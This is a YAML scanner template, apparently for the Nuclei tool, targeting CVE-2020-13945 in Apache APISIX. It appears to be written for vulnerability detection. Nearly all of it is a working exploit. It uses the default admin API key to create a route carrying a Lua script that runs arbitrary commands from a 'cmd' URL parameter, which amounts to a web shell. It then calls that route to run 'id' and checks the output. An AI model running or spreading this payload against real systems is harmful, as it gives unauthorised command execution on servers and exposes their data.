64 lines
2.1 KiB
YAML
64 lines
2.1 KiB
YAML
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id: CVE-2020-13945
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info:
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name: Apache APISIX - Insufficiently Protected Credentials
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author: pdteam
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severity: medium
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description: Apache APISIX 1.2, 1.3, 1.4, and 1.5 is susceptible to insufficiently protected credentials. An attacker can enable the Admin API and delete the Admin API access IP restriction rules. Eventually, the default token is allowed to access APISIX management data.
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reference:
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- https://github.com/vulhub/vulhub/tree/master/apisix/CVE-2020-13945
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- https://lists.apache.org/thread.html/r792feb29964067a4108f53e8579a1e9bd1c8b5b9bc95618c814faf2f%40%3Cdev.apisix.apache.org%3E
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- http://packetstormsecurity.com/files/166228/Apache-APISIX-Remote-Code-Execution.html
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- https://nvd.nist.gov/vuln/detail/CVE-2020-13945
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
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cvss-score: 6.5
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cve-id: CVE-2020-13945
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cwe-id: CWE-522
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cpe: cpe:2.3:a:apache:apisix:*:*:*:*:*:*:*:*
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epss-score: 0.00598
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tags: intrusive,vulhub,packetstorm,cve,cve2020,apache,apisix
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http:
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- raw:
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- |
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POST /apisix/admin/routes HTTP/1.1
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Host: {{Hostname}}
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X-API-KEY: edd1c9f034335f136f87ad84b625c8f1
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Content-Type: application/json
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{
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"uri":"/{{randstr}}",
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"script":"local _M = {} \n function _M.access(conf, ctx) \n local os = require('os')\n local args = assert(ngx.req.get_uri_args()) \n local f = assert(io.popen(args.cmd, 'r'))\n local s = assert(f:read('*a'))\n ngx.say(s)\n f:close() \n end \nreturn _M",
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"upstream":{
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"type":"roundrobin",
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"nodes":{
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"interact.sh:80":1
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}
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}
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}
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- |
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GET /{{randstr}}?cmd=id HTTP/1.1
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Host: {{Hostname}}
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matchers-condition: and
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matchers:
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- type: word
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words:
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- '"action":"create"'
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- '"script":'
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- '"node":'
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condition: and
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- type: status
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status:
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- 201
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extractors:
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- type: regex
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regex:
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- "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"
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# Enhanced by mp on 2022/10/06
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